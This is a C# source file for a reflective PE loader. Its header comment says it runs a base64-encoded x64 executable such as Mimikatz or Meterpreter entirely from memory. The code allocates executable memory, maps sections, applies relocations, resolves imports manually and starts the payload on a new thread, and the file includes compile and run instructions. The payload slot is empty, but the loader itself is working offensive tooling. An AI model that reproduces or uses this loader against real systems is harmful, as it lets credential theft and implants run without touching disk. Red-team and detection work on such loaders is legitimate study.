peloader.cs

using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

Why:
====
This scripts loads a base64 encoded x64 PE file (eg: Mimikatz or a Meterpreter) into memory and reflectively executes it.

How to compile:
===============
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

How to use:
============
c:\> peloader.exe

*/

namespace PELoader
{
    class peloader
    {
		public static void Main()
        {
			//===================================================================
			// Base64 encoding of a x64 executable
			//===================================================================
            string peAsString = "";
            
			byte[] unpacked = System.Convert.FromBase64String(peAsString);
            
            PELoader pe = new PELoader(unpacked);

            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {

                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry = relocationTable;
            int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset = relocationTable;

            while (true)
            {

                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {

                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                        case 0x0:
                            break;
                        case 0xA:
                            patchAddr = IntPtr.Add(dest, fixup);
                            //Add Delta To Location.
                            long originalAddr = Marshal.ReadInt64(patchAddr);
                            Marshal.WriteInt64(patchAddr, originalAddr + delta);
                            break;

                    }

                }

                offset = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0) break;


            }


            //Resolve Imports

            IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? 
                IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "") { break; }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "") break;

                }
               //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing loaded PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();

        } //End Main
    }//End Program

    public class PELoader
    {
        public struct IMAGE_DOS_HEADER
        {      // DOS .EXE header
            public UInt16 e_magic;              // Magic number
            public UInt16 e_cblp;               // Bytes on last page of file
            public UInt16 e_cp;                 // Pages in file
            public UInt16 e_crlc;               // Relocations
            public UInt16 e_cparhdr;            // Size of header in paragraphs
            public UInt16 e_minalloc;           // Minimum extra paragraphs needed
            public UInt16 e_maxalloc;           // Maximum extra paragraphs needed
            public UInt16 e_ss;                 // Initial (relative) SS value
            public UInt16 e_sp;                 // Initial SP value
            public UInt16 e_csum;               // Checksum
            public UInt16 e_ip;                 // Initial IP value
            public UInt16 e_cs;                 // Initial (relative) CS value
            public UInt16 e_lfarlc;             // File address of relocation table
            public UInt16 e_ovno;               // Overlay number
            public UInt16 e_res_0;              // Reserved words
            public UInt16 e_res_1;              // Reserved words
            public UInt16 e_res_2;              // Reserved words
            public UInt16 e_res_3;              // Reserved words
            public UInt16 e_oemid;              // OEM identifier (for e_oeminfo)
            public UInt16 e_oeminfo;            // OEM information; e_oemid specific
            public UInt16 e_res2_0;             // Reserved words
            public UInt16 e_res2_1;             // Reserved words
            public UInt16 e_res2_2;             // Reserved words
            public UInt16 e_res2_3;             // Reserved words
            public UInt16 e_res2_4;             // Reserved words
            public UInt16 e_res2_5;             // Reserved words
            public UInt16 e_res2_6;             // Reserved words
            public UInt16 e_res2_7;             // Reserved words
            public UInt16 e_res2_8;             // Reserved words
            public UInt16 e_res2_9;             // Reserved words
            public UInt32 e_lfanew;             // File address of new exe header
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_DATA_DIRECTORY
        {
            public UInt32 VirtualAddress;
            public UInt32 Size;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_OPTIONAL_HEADER32
        {
            public UInt16 Magic;
            public Byte MajorLinkerVersion;
            public Byte MinorLinkerVersion;
            public UInt32 SizeOfCode;
            public UInt32 SizeOfInitializedData;
            public UInt32 SizeOfUninitializedData;
            public UInt32 AddressOfEntryPoint;
            public UInt32 BaseOfCode;
            public UInt32 BaseOfData;
            public UInt32 ImageBase;
            public UInt32 SectionAlignment;
            public UInt32 FileAlignment;
            public UInt16 MajorOperatingSystemVersion;
            public UInt16 MinorOperatingSystemVersion;
            public UInt16 MajorImageVersion;
            public UInt16 MinorImageVersion;
            public UInt16 MajorSubsystemVersion;
            public UInt16 MinorSubsystemVersion;
            public UInt32 Win32VersionValue;
            public UInt32 SizeOfImage;
            public UInt32 SizeOfHeaders;
            public UInt32 CheckSum;
            public UInt16 Subsystem;
            public UInt16 DllCharacteristics;
            public UInt32 SizeOfStackReserve;
            public UInt32 SizeOfStackCommit;
            public UInt32 SizeOfHeapReserve;
            public UInt32 SizeOfHeapCommit;
            public UInt32 LoaderFlags;
            public UInt32 NumberOfRvaAndSizes;

            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Reserved;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_OPTIONAL_HEADER64
        {
            public UInt16 Magic;
            public Byte MajorLinkerVersion;
            public Byte MinorLinkerVersion;
            public UInt32 SizeOfCode;
            public UInt32 SizeOfInitializedData;
            public UInt32 SizeOfUninitializedData;
            public UInt32 AddressOfEntryPoint;
            public UInt32 BaseOfCode;
            public UInt64 ImageBase;
            public UInt32 SectionAlignment;
            public UInt32 FileAlignment;
            public UInt16 MajorOperatingSystemVersion;
            public UInt16 MinorOperatingSystemVersion;
            public UInt16 MajorImageVersion;
            public UInt16 MinorImageVersion;
            public UInt16 MajorSubsystemVersion;
            public UInt16 MinorSubsystemVersion;
            public UInt32 Win32VersionValue;
            public UInt32 SizeOfImage;
            public UInt32 SizeOfHeaders;
            public UInt32 CheckSum;
            public UInt16 Subsystem;
            public UInt16 DllCharacteristics;
            public UInt64 SizeOfStackReserve;
            public UInt64 SizeOfStackCommit;
            public UInt64 SizeOfHeapReserve;
            public UInt64 SizeOfHeapCommit;
            public UInt32 LoaderFlags;
            public UInt32 NumberOfRvaAndSizes;

            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Reserved;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct IMAGE_FILE_HEADER
        {
            public UInt16 Machine;
            public UInt16 NumberOfSections;
            public UInt32 TimeDateStamp;
            public UInt32 PointerToSymbolTable;
            public UInt32 NumberOfSymbols;
            public UInt16 SizeOfOptionalHeader;
            public UInt16 Characteristics;
        }

        [StructLayout(LayoutKind.Explicit)]
        public struct IMAGE_SECTION_HEADER
        {
            [FieldOffset(0)]
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
            public char[] Name;
            [FieldOffset(8)]
            public UInt32 VirtualSize;
            [FieldOffset(12)]
            public UInt32 VirtualAddress;
            [FieldOffset(16)]
            public UInt32 SizeOfRawData;
            [FieldOffset(20)]
            public UInt32 PointerToRawData;
            [FieldOffset(24)]
            public UInt32 PointerToRelocations;
            [FieldOffset(28)]
            public UInt32 PointerToLinenumbers;
            [FieldOffset(32)]
            public UInt16 NumberOfRelocations;
            [FieldOffset(34)]
            public UInt16 NumberOfLinenumbers;
            [FieldOffset(36)]
            public DataSectionFlags Characteristics;

            public string Section
            {
                get { return new string(Name); }
            }
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct IMAGE_BASE_RELOCATION
        {
            public uint VirtualAdress;
            public uint SizeOfBlock;
        }

        [Flags]
        public enum DataSectionFlags : uint
        {

            Stub = 0x00000000,

        }


        /// The DOS header

        private IMAGE_DOS_HEADER dosHeader;

        /// The file header

        private IMAGE_FILE_HEADER fileHeader;

        /// Optional 32 bit file header 

        private IMAGE_OPTIONAL_HEADER32 optionalHeader32;

        /// Optional 64 bit file header 

        private IMAGE_OPTIONAL_HEADER64 optionalHeader64;

        /// Image Section headers. Number of sections is in the file header.

        private IMAGE_SECTION_HEADER[] imageSectionHeaders;

        private byte[] rawbytes;



        public PELoader(string filePath)
        {
            // Read in the DLL or EXE and get the timestamp
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
                }



                rawbytes = System.IO.File.ReadAllBytes(filePath);

            }
        }

        public PELoader(byte[] fileBytes)
        {
            // Read in the DLL or EXE and get the timestamp
            using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
                }


                rawbytes = fileBytes;

            }
        }


        public static T FromBinaryReader<T>(BinaryReader reader)
        {
            // Read in a byte array
            byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));

            // Pin the managed memory while, copy it out the data, then unpin it
            GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
            T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
            handle.Free();

            return theStructure;
        }



        public bool Is32BitHeader
        {
            get
            {
                UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
                return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
            }
        }


        public IMAGE_FILE_HEADER FileHeader
        {
            get
            {
                return fileHeader;
            }
        }


        /// Gets the optional header

        public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
        {
            get
            {
                return optionalHeader32;
            }
        }


        /// Gets the optional header

        public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
        {
            get
            {
                return optionalHeader64;
            }
        }

        public IMAGE_SECTION_HEADER[] ImageSectionHeaders
        {
            get
            {
                return imageSectionHeaders;
            }
        }

        public byte[] RawBytes
        {
            get
            {
                return rawbytes;
            }

        }

    }//End Class


    unsafe class NativeDeclarations
    {

        public static uint MEM_COMMIT = 0x1000;
        public static uint MEM_RESERVE = 0x2000;
        public static uint PAGE_EXECUTE_READWRITE = 0x40;
        public static uint PAGE_READWRITE = 0x04;

        [StructLayout(LayoutKind.Sequential)]
        public unsafe struct IMAGE_BASE_RELOCATION
        {
            public uint VirtualAdress;
            public uint SizeOfBlock;
        }

        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern IntPtr CreateThread(

          IntPtr lpThreadAttributes,
          uint dwStackSize,
          IntPtr lpStartAddress,
          IntPtr param,
          uint dwCreationFlags,
          IntPtr lpThreadId
          );

        [DllImport("kernel32")]
        public static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );

        [StructLayout(LayoutKind.Sequential)]
        public unsafe struct IMAGE_IMPORT_DESCRIPTOR
        {
            public uint OriginalFirstThunk;
            public uint TimeDateStamp;
            public uint ForwarderChain;
            public uint Name;
            public uint FirstThunk;
        }


    }
}